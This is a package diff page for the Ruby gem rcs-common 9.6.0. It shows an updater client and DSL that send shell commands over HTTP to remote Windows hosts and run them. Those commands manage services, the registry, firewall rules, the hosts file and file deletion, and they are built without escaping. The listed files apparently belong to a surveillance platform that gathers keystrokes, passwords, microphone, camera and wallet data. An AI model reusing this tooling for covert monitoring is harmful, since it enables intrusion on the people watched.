rcs-common 9.6.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (116) hide show
  1. checksums.yaml +7 -0
  2. data/.gitignore +49 -0
  3. data/Gemfile +4 -0
  4. data/LICENSE.txt +1 -0
  5. data/Rakefile +27 -0
  6. data/lib/rcs-common.rb +21 -0
  7. data/lib/rcs-common/binary.rb +64 -0
  8. data/lib/rcs-common/cgi.rb +7 -0
  9. data/lib/rcs-common/component.rb +87 -0
  10. data/lib/rcs-common/crypt.rb +71 -0
  11. data/lib/rcs-common/deploy.rb +96 -0
  12. data/lib/rcs-common/diagnosticable.rb +136 -0
  13. data/lib/rcs-common/evidence.rb +261 -0
  14. data/lib/rcs-common/evidence/addressbook.rb +173 -0
  15. data/lib/rcs-common/evidence/application.rb +59 -0
  16. data/lib/rcs-common/evidence/calendar.rb +62 -0
  17. data/lib/rcs-common/evidence/call.rb +185 -0
  18. data/lib/rcs-common/evidence/camera.rb +25 -0
  19. data/lib/rcs-common/evidence/chat.rb +272 -0
  20. data/lib/rcs-common/evidence/clibpoard.rb +58 -0
  21. data/lib/rcs-common/evidence/command.rb +50 -0
  22. data/lib/rcs-common/evidence/common.rb +78 -0
  23. data/lib/rcs-common/evidence/content/camera/001.jpg +0 -0
  24. data/lib/rcs-common/evidence/content/coin/wallet_bit.dat +0 -0
  25. data/lib/rcs-common/evidence/content/coin/wallet_lite.dat +0 -0
  26. data/lib/rcs-common/evidence/content/file/Einstein.docx +0 -0
  27. data/lib/rcs-common/evidence/content/file/arabic.docx +0 -0
  28. data/lib/rcs-common/evidence/content/mouse/001.jpg +0 -0
  29. data/lib/rcs-common/evidence/content/mouse/002.jpg +0 -0
  30. data/lib/rcs-common/evidence/content/mouse/003.jpg +0 -0
  31. data/lib/rcs-common/evidence/content/mouse/004.jpg +0 -0
  32. data/lib/rcs-common/evidence/content/print/001.jpg +0 -0
  33. data/lib/rcs-common/evidence/content/screenshot/001.jpg +0 -0
  34. data/lib/rcs-common/evidence/content/screenshot/002.jpg +0 -0
  35. data/lib/rcs-common/evidence/content/screenshot/003.jpg +0 -0
  36. data/lib/rcs-common/evidence/content/url/001.jpg +0 -0
  37. data/lib/rcs-common/evidence/content/url/002.jpg +0 -0
  38. data/lib/rcs-common/evidence/content/url/003.jpg +0 -0
  39. data/lib/rcs-common/evidence/device.rb +23 -0
  40. data/lib/rcs-common/evidence/download.rb +54 -0
  41. data/lib/rcs-common/evidence/exec.rb +0 -0
  42. data/lib/rcs-common/evidence/file.rb +129 -0
  43. data/lib/rcs-common/evidence/filesystem.rb +71 -0
  44. data/lib/rcs-common/evidence/info.rb +24 -0
  45. data/lib/rcs-common/evidence/keylog.rb +84 -0
  46. data/lib/rcs-common/evidence/mail.rb +237 -0
  47. data/lib/rcs-common/evidence/mic.rb +39 -0
  48. data/lib/rcs-common/evidence/mms.rb +36 -0
  49. data/lib/rcs-common/evidence/money.rb +676 -0
  50. data/lib/rcs-common/evidence/mouse.rb +62 -0
  51. data/lib/rcs-common/evidence/password.rb +60 -0
  52. data/lib/rcs-common/evidence/photo.rb +80 -0
  53. data/lib/rcs-common/evidence/position.rb +303 -0
  54. data/lib/rcs-common/evidence/print.rb +50 -0
  55. data/lib/rcs-common/evidence/screenshot.rb +53 -0
  56. data/lib/rcs-common/evidence/sms.rb +91 -0
  57. data/lib/rcs-common/evidence/url.rb +133 -0
  58. data/lib/rcs-common/fixnum.rb +48 -0
  59. data/lib/rcs-common/gridfs.rb +294 -0
  60. data/lib/rcs-common/heartbeat.rb +96 -0
  61. data/lib/rcs-common/keywords.rb +50 -0
  62. data/lib/rcs-common/mime.rb +65 -0
  63. data/lib/rcs-common/mongoid.rb +19 -0
  64. data/lib/rcs-common/pascalize.rb +62 -0
  65. data/lib/rcs-common/path_utils.rb +67 -0
  66. data/lib/rcs-common/resolver.rb +40 -0
  67. data/lib/rcs-common/rest.rb +17 -0
  68. data/lib/rcs-common/sanitize.rb +42 -0
  69. data/lib/rcs-common/serializer.rb +404 -0
  70. data/lib/rcs-common/signature.rb +141 -0
  71. data/lib/rcs-common/stats.rb +94 -0
  72. data/lib/rcs-common/symbolize.rb +10 -0
  73. data/lib/rcs-common/systemstatus.rb +136 -0
  74. data/lib/rcs-common/temporary.rb +13 -0
  75. data/lib/rcs-common/time.rb +24 -0
  76. data/lib/rcs-common/trace.rb +138 -0
  77. data/lib/rcs-common/trace.yaml +42 -0
  78. data/lib/rcs-common/updater/client.rb +354 -0
  79. data/lib/rcs-common/updater/dsl.rb +178 -0
  80. data/lib/rcs-common/updater/payload.rb +79 -0
  81. data/lib/rcs-common/updater/server.rb +126 -0
  82. data/lib/rcs-common/updater/shared_key.rb +55 -0
  83. data/lib/rcs-common/updater/tmp_dir.rb +13 -0
  84. data/lib/rcs-common/utf16le.rb +83 -0
  85. data/lib/rcs-common/version.rb +5 -0
  86. data/lib/rcs-common/winfirewall.rb +235 -0
  87. data/rcs-common.gemspec +64 -0
  88. data/spec/gridfs_spec.rb +637 -0
  89. data/spec/mongoid.yaml +6 -0
  90. data/spec/signature_spec.rb +105 -0
  91. data/spec/spec_helper.rb +22 -0
  92. data/spec/updater_spec.rb +80 -0
  93. data/tasks/deploy.rake +21 -0
  94. data/tasks/protect.rake +90 -0
  95. data/test/helper.rb +17 -0
  96. data/test/test_binary.rb +107 -0
  97. data/test/test_cgi.rb +14 -0
  98. data/test/test_crypt.rb +125 -0
  99. data/test/test_evidence.rb +52 -0
  100. data/test/test_evidence_manager.rb +119 -0
  101. data/test/test_fixnum.rb +35 -0
  102. data/test/test_keywords.rb +137 -0
  103. data/test/test_mime.rb +49 -0
  104. data/test/test_pascalize.rb +100 -0
  105. data/test/test_path_utils.rb +24 -0
  106. data/test/test_rcs-common.rb +7 -0
  107. data/test/test_sanitize.rb +40 -0
  108. data/test/test_serialization.rb +20 -0
  109. data/test/test_stats.rb +90 -0
  110. data/test/test_symbolize.rb +20 -0
  111. data/test/test_systemstatus.rb +35 -0
  112. data/test/test_time.rb +56 -0
  113. data/test/test_trace.rb +25 -0
  114. data/test/test_utf16le.rb +71 -0
  115. data/test/test_winfirewall.rb +68 -0
  116. metadata +423 -0
@@ -0,0 +1,354 @@
1
+ require 'yajl/json_gem'
2
+ require 'net/http'
3
+ require 'uri'
4
+ require 'timeout'
5
+ require 'digest/md5'
6
+ require 'base64'
7
+
8
+ require_relative "../trace.rb"
9
+ require_relative "shared_key"
10
+ require_relative "tmp_dir"
11
+ require_relative "../winfirewall"
12
+ require_relative "payload"
13
+
14
+ module RCS
15
+ module Updater
16
+ class Client
17
+ include RCS::Tracer
18
+ include TmpDir
19
+ extend Resolver
20
+
21
+ attr_reader :address, :port
22
+ attr_accessor :max_retries, :retry_interval, :open_timeout
23
+ attr_accessor :pwd
24
+
25
+ def initialize(address, port: 6677)
26
+ @address = address
27
+ @port = port
28
+ @shared_key = SharedKey.new
29
+
30
+ self.max_retries = 3
31
+ self.retry_interval = 4 # sec
32
+ self.open_timeout = 10 # sec
33
+ end
34
+
35
+ def request(payload, options = {}, retry_count = self.max_retries)
36
+ msg = options[:store] ? [] : [payload]
37
+ msg = ["#{payload.size} B", options.inspect]
38
+ trace(:debug, "REQ #{msg.join(' | ')}")
39
+
40
+ http = Net::HTTP.new(address, port)
41
+ http.open_timeout = self.open_timeout
42
+
43
+ # Encrypt x-options hash with a shared key
44
+ # Add a timestamp to prevent a reply attack, and the md5 of the payload to prevent payload modification
45
+ options.merge!(tm: Time.now.to_f, md5: Digest::MD5.hexdigest(payload))
46
+
47
+ req = Net::HTTP::Post.new('/', initheader = {'Content-Type' =>'application/json'})
48
+ req['x-options'] = @shared_key.encrypt_hash(options)
49
+ raise("x-options header is too long") if req['x-options'].size > 4_096
50
+ req.body = payload
51
+ res = http.request(req)
52
+
53
+ status_code = res.code.to_i
54
+
55
+ trace :debug, "REP #{res.code} | #{res.body}"
56
+
57
+ raise("Internal server error") if res.code.to_i != 200
58
+
59
+ hash = JSON.parse(res.body)
60
+ hash.keys.each { |key| hash[key.to_sym] = hash.delete(key) }
61
+
62
+ return hash
63
+ rescue Exception => ex
64
+ trace(:error, "[#{ex.class}] #{ex.message}")
65
+
66
+ if retry_count > 0
67
+ trace(:warn, "Retrying in #{retry_interval} seconds, #{retry_count} attempt(s) left")
68
+ sleep(self.retry_interval)
69
+ return request(payload, options, retry_count-1)
70
+ else
71
+ raise(ex)
72
+ end
73
+ end
74
+
75
+ def local_command(cmd, options = {})
76
+ payload = Payload.new(cmd, options.merge('exec' => true))
77
+ payload.store if payload.storable?
78
+ payload.run if payload.runnable?
79
+ return payload
80
+ end
81
+
82
+
83
+ # Helpers
84
+
85
+ def self.resolve_to_localhost?(name)
86
+ return true if name == 'localhost'
87
+ addr = resolve_dns(name, use_cache: true) rescue nil
88
+ return addr == '127.0.0.1'
89
+ end
90
+
91
+ def localhost?
92
+ self.class.resolve_to_localhost?(@address)
93
+ end
94
+
95
+ def store_file(path, remote_path = nil)
96
+ path = unixpath(File.expand_path(path))
97
+ payload = File.open(path, 'rb') { |f| f.read }
98
+ return store(payload, filename: File.basename(path))
99
+ end
100
+
101
+ def store(payload, filename: nil)
102
+ raise("Missing filename") unless filename
103
+
104
+ if localhost?
105
+ path = unixpath("#{tmpdir}/#{filename}")
106
+ File.open(path, 'wb') { |f| f.write(payload) }
107
+ return path
108
+ else
109
+ return request(payload, filename: filename, store: 1)[:path]
110
+ end
111
+ end
112
+
113
+ def start(payload)
114
+ path = store(payload+"\nexit", filename: 'start.bat')
115
+
116
+ begin
117
+ if localhost?
118
+ resp = local_command("start #{path}", 'spawn' => 1)
119
+ else
120
+ resp = request("start #{path}", {spawn: 1}, retry_count = 0)
121
+ end
122
+ rescue Exception => ex
123
+ trace :error, "#start: #{ex.message}"
124
+ end
125
+
126
+ return nil
127
+ end
128
+
129
+ alias :detached :start
130
+
131
+ def restart_service(name)
132
+ stop_service(name)
133
+ start_service(name)
134
+ end
135
+
136
+ def start_service(name)
137
+ cmd = "NET START #{name}"
138
+ return localhost? ? local_command(cmd) : request(cmd, exec: 1)
139
+ end
140
+
141
+ def stop_service(name)
142
+ cmd = "NET STOP #{name}"
143
+ return localhost? ? local_command(cmd) : request(cmd, exec: 1)
144
+ end
145
+
146
+ def service_exists?(name)
147
+ !!execute("SC QUERY #{name}")
148
+ end
149
+
150
+ def registry_add(key_path, value_name, value_data)
151
+ value_type = if value_data.kind_of?(Fixnum)
152
+ :REG_DWORD
153
+ else
154
+ :REG_SZ
155
+ end
156
+
157
+ cmd = "reg add #{winpath(key_path)} /f /t #{value_type} /v #{value_name} /d #{value_data}"
158
+ return localhost? ? local_command(cmd) : request(cmd, exec: 1)
159
+ end
160
+
161
+ def write_file(path, content)
162
+ if localhost?
163
+ File.open(unixpath(path), 'wb') { |file| file.write(content) }
164
+ else
165
+ # todo
166
+ end
167
+ end
168
+
169
+ def read_file(path)
170
+ # This has only the "localhost" version
171
+ File.read(unixpath(path))
172
+ end
173
+
174
+ def delete_service(service_name)
175
+ cmd = "sc delete #{service_name}"
176
+ return localhost? ? local_command(cmd) : request(cmd, exec: 1)
177
+ end
178
+
179
+ def add_firewall_rule(rule_name, params = {})
180
+ if localhost?
181
+ WinFirewall.del_rule(rule_name)
182
+ WinFirewall.add_rule(params.merge(name: rule_name))
183
+ else
184
+ # todo
185
+ end
186
+ end
187
+
188
+ def service_config(service_name, param_name, param_value)
189
+ param_name = param_name.to_s
190
+ cmd = ""
191
+
192
+ if %w[type start error binPath group tag depend obj DisplayName password].include?(param_name)
193
+ cmd = "sc config #{service_name} #{param_name}= \"#{param_value}\""
194
+ elsif %[description].include?(param_name)
195
+ cmd = "sc description #{service_name} \"#{param_value}\""
196
+ else
197
+ raise "Invalid parameter #{param_name}"
198
+ end
199
+
200
+ return localhost? ? local_command(cmd) : request(cmd, exec: 1)
201
+ end
202
+
203
+ def service_failure(service_name, reset = 0, action1 = "restart/60000", action2 = "restart/60000", action3 = "restart/60000")
204
+ cmd = "sc failure #{service_name} reset= #{reset.to_i} actions= "+[action1, action2, action3].compact.join("/")
205
+ return localhost? ? local_command(cmd) : request(cmd, exec: 1)
206
+ end
207
+
208
+ def execute(cmd)
209
+ resp = localhost? ? local_command(cmd) : request(cmd, exec: 1)
210
+
211
+ if resp[:return_code] != 0
212
+ return nil
213
+ else
214
+ return resp[:output]
215
+ end
216
+ end
217
+
218
+ def database_exists?(name, mongo: nil)
219
+ eval = "f=null; db.adminCommand({listDatabases: 1})['databases'].forEach(function(e){ if (e.name == '#{name}') { f = true } }); if (!f) { throw('not found') }"
220
+ cmd = "#{winpath(mongo)} 127.0.0.1 --eval \"#{eval}\""
221
+ return execute(cmd)
222
+ end
223
+
224
+ def rm_rf(path, allow: [], check: true)
225
+ if localhost?
226
+ FileUtils.rm_rf(unixpath(path))
227
+ else
228
+ request("ruby -e 'require \"fileutils\"; FileUtils.rm_rf(\"#{unixpath(path)}\");'", exec: 1)
229
+ end
230
+
231
+ if check
232
+ ls(unixpath(path)+"/*").each do |p|
233
+ raise("rm_rf command failed on folder #{path}") unless allow.find { |regexp| p =~ /#{regexp}/i }
234
+ end
235
+ end
236
+
237
+ return true
238
+ end
239
+
240
+ def rm_f(path)
241
+ if localhost?
242
+ FileUtils.rm_f(unixpath(path))
243
+ else
244
+ request("ruby -e 'require \"fileutils\"; FileUtils.rm_f(\"#{unixpath(path)}\");'", exec: 1)
245
+ end
246
+
247
+ if ls(path).any?
248
+ raise("rm_f command failed on file #{path}")
249
+ else
250
+ return true
251
+ end
252
+ end
253
+
254
+ def add_to_hosts_file(hash)
255
+ ip, name = *hash.to_a.first
256
+ line = "\r\n#{ip}\t#{name}\r\n"
257
+ path = "C:\\Windows\\System32\\Drivers\\etc\\hosts"
258
+
259
+ if localhost?
260
+ File.open(path, 'ab') { |file| file.write(line) } unless File.read(path).include?(line.strip)
261
+ else
262
+ # TODO
263
+ end
264
+ end
265
+
266
+ def extract_sfx(sfx_path, destination_path)
267
+ mkdir_p(destination_path)
268
+
269
+ if localhost?
270
+ local_command("\"#{winpath(sfx_path)}\" -y -o\"#{winpath(destination_path)}\"")
271
+ else
272
+ remote_path = store_file(sfx_path)
273
+ request("\"#{winpath(remote_path)}\" -y -o\"#{winpath(destination_path)}\"", exec: 1)
274
+ rm_f(remote_path)
275
+ end
276
+ end
277
+
278
+ # TODO: ensure no duplication
279
+ def add_to_path(*paths)
280
+ list = [paths].flatten.map{ |p| winpath(p) }.join(";")
281
+
282
+ if localhost?
283
+ ENV['PATH'] += ";#{list}" unless ENV['path'].include?(list)
284
+ return local_command("setx path \"%path%;#{list}\" /M && set PATH=\"%PATH%;#{list}\"")
285
+ else
286
+ return request("setx path \"%path%;#{list}\"", exec: 1)
287
+ end
288
+ end
289
+
290
+ def mkdir_p(path)
291
+ if localhost?
292
+ FileUtils.mkdir_p(winpath(path))
293
+ else
294
+ request("ruby -e 'require \"fileutils\"; FileUtils.mkdir_p(\"#{unixpath(path)}\");", exec: 1)
295
+ end
296
+ end
297
+
298
+ def cp(from, to)
299
+ if localhost?
300
+ FileUtils.cp(unixpath(from), unixpath(to))
301
+ else
302
+ request("ruby -e 'require \"fileutils\"; FileUtils.cp(\"#{unixpath(from)}\", \"#{unixpath(to)}\");", exec: 1)
303
+ end
304
+ end
305
+
306
+ def cp_r(from, to)
307
+ if localhost?
308
+ FileUtils.cp_r(unixpath(from), unixpath(to))
309
+ else
310
+ request("ruby -e 'require \"fileutils\"; FileUtils.cp_r(\"#{unixpath(from)}\", \"#{unixpath(to)}\");", exec: 1)
311
+ end
312
+ end
313
+
314
+ def mv(from, to)
315
+ if localhost?
316
+ FileUtils.mv(unixpath(from), unixpath(to))
317
+ else
318
+ request("ruby -e 'require \"fileutils\"; FileUtils.mv(\"#{unixpath(from)}\", \"#{unixpath(to)}\");", exec: 1)
319
+ end
320
+ end
321
+
322
+ def ls(glob)
323
+ if localhost?
324
+ return Dir[unixpath(glob)]
325
+ else
326
+ resp = request('ruby -e \'require "base64"; require "json"; puts Base64.urlsafe_encode64(Dir["'+unixpath(glob)+'"].to_json)\'', exec: 1)
327
+ return JSON.parse(Base64.urlsafe_decode64(resp[:output].strip))
328
+ end
329
+ end
330
+
331
+ def file_exists?(path)
332
+ ls(path).any?
333
+ end
334
+
335
+ def winpath(path)
336
+ path = "#{self.pwd}\\#{path}" if self.pwd and path !~ /\A[a-z]\:/i
337
+ path.gsub("/", "\\")
338
+ end
339
+
340
+ def unixpath(path)
341
+ path = "#{self.pwd}/#{path}" if self.pwd and path !~ /\A[a-z]\:/i
342
+ path.gsub("\\", "/")
343
+ end
344
+
345
+ def connected?
346
+ if localhost?
347
+ return true
348
+ else
349
+ return !!(request("", {}, retry_count = 0) rescue false)
350
+ end
351
+ end
352
+ end
353
+ end
354
+ end
@@ -0,0 +1,178 @@
1
+ require_relative 'client'
2
+ require 'ostruct'
3
+
4
+ class SafeOpenStruct < OpenStruct
5
+ def method_missing(meth, *args)
6
+ n = meth.to_s
7
+
8
+ if n.end_with?("?")
9
+ n = n[0..-2]
10
+ return @table[n] || @table[n.to_sym]
11
+ elsif !n.end_with?("=")
12
+ raise(NoMethodError, "no `#{meth}' member set yet")
13
+ end
14
+
15
+ super
16
+ end
17
+ end
18
+
19
+ module RCS
20
+ module Updater
21
+ module DSL
22
+ @@settings = SafeOpenStruct.new
23
+ @@tasks = {}
24
+ @@descriptions = {}
25
+ @@last_description = nil
26
+
27
+ def set(name, value)
28
+ @@settings[name] = value
29
+ end
30
+
31
+ # Access to settings defined using [ set ]
32
+ def settings
33
+ @@settings
34
+ end
35
+
36
+ def address?
37
+ self.respond_to?(:address)
38
+ end
39
+
40
+ def desc(string)
41
+ raise("You cannot call `desc' in this context") if address?
42
+ @@last_description = string
43
+ end
44
+
45
+ # Define a task or alias an existing task
46
+ #
47
+ # @example
48
+ # task :task1 do
49
+ # rm_rf("/tmp/my_file")
50
+ # start_service("RCSDB")
51
+ # end
52
+ # # Aliasing task1
53
+ # task :task3 => :task1
54
+ def task(name, &block)
55
+ if name.kind_of?(Hash)
56
+ name.each do |alias_name, task_name|
57
+ raise("Undefined task `#{task_name}'") unless @@tasks[task_name.to_s]
58
+ @@tasks[alias_name.to_s] = @@tasks[task_name.to_s]
59
+ @@descriptions[alias_name.to_s] = @@last_description
60
+ end
61
+ else
62
+ raise("Task `#{name}' is defined more than once") if @@tasks[name.to_s]
63
+ @@tasks[name.to_s] = block
64
+ @@descriptions[name.to_s] = @@last_description
65
+ end
66
+
67
+ @@last_description = nil
68
+ end
69
+
70
+ # @example
71
+ # invoke :task1 => 'localhost'
72
+ #
73
+ # task :task2 do
74
+ # invoke(:task3)
75
+ # rm_rf("/tmp/my_file")
76
+ # end
77
+ def invoke(args)
78
+ if address? and ([String, Symbol].include?(args.class))
79
+ task_name, address = args, self.address
80
+ elsif !address? and args.kind_of?(Hash)
81
+ task_name, address = *args.to_a.flatten
82
+ return on(address) { invoke(task_name) }
83
+ else
84
+ raise("Invalid use of `invoke'")
85
+ end
86
+
87
+ raise("Undefined task `#{task_name}'") unless @@tasks[task_name.to_s]
88
+
89
+ trace(:debug, "invoke #{task_name} on #{address}") if respond_to?(:trace)
90
+
91
+ echo(@@descriptions[task_name]) if @@descriptions[task_name]
92
+
93
+ client = Client.new(address)
94
+ client.singleton_class.__send__(:include, DSL)
95
+ client.instance_variable_set('@_parent_task', self) if address?
96
+ return client.instance_eval(&@@tasks[task_name.to_s])
97
+ end
98
+
99
+ # Define an anonymous task
100
+ #
101
+ # @example
102
+ # on('172.20.20.152') do
103
+ # invoke(:task1)
104
+ # rm_rf("/tmp/my_file")
105
+ # end
106
+ def on(address, &block)
107
+ raise("You cannot call `on' in this context") if address?
108
+ client = Client.new(address)
109
+ client.singleton_class.__send__(:include, DSL)
110
+ return client.instance_eval(&block)
111
+ end
112
+
113
+ def echo_indent
114
+ obj = self
115
+ str = ""
116
+ str << "--" until !(obj = obj.instance_variable_get('@_parent_task'))
117
+ str << "> " unless str.empty?
118
+ return str
119
+ end
120
+
121
+ def echo_error(message)
122
+ $stderr.puts("[erro]#{message}")
123
+ $stderr.flush
124
+ raise(message)
125
+ end
126
+
127
+ def echo(message)
128
+ message = "[echo]#{echo_indent}#{message}"
129
+ message << " (#{self.address})" if self.respond_to?(:address) and echo_indent.empty? and !resolve_to_localhost?(self.address)
130
+ $stdout.puts(message)
131
+ $stdout.flush
132
+ end
133
+
134
+ def echo_install_failed(node_type, message = nil, addr = nil)
135
+ trace(:error, "Install of #{node_type} @ #{addr || address} failed: #{message}") if respond_to?(:trace)
136
+
137
+ $stdout.puts("[infa]#{node_type.to_s.capitalize} node on #{addr || address}")
138
+ $stdout.flush
139
+ end
140
+
141
+ def echo_install_success(node_type, addr = nil)
142
+ $stdout.puts("[insu]#{node_type.to_s.capitalize} node on #{addr || address}")
143
+ $stdout.flush
144
+ end
145
+
146
+ def resolve_to_localhost?(name)
147
+ Client.resolve_to_localhost?(name)
148
+ end
149
+
150
+ # Access to parameters passed via command line.
151
+ #
152
+ # @example Script is called with --first-param "test" --param2
153
+ # params.first_param #=> "test"
154
+ # params.param2 #=> true
155
+ # params.param3 #=> An exception is raised!
156
+ # params.param3? #=> nil
157
+ def params
158
+ return @@params if defined?(@@params)
159
+ @@params = SafeOpenStruct.new
160
+ i = 0
161
+
162
+ loop do
163
+ s1, s2 = ARGV[i], ARGV[i+1]
164
+ break unless s1
165
+ if s1[0] == '-'
166
+ s2 = (s2 and s2[0] != '-') ? s2 : true
167
+ @@params[s1.gsub(/^\-{1,2}/, '').gsub('-', '_')] = s2 unless s2.to_s.strip.empty?
168
+ end
169
+ i += 1
170
+ end
171
+
172
+ @@params
173
+ end
174
+ end
175
+ end
176
+ end
177
+
178
+ self.extend(RCS::Updater::DSL)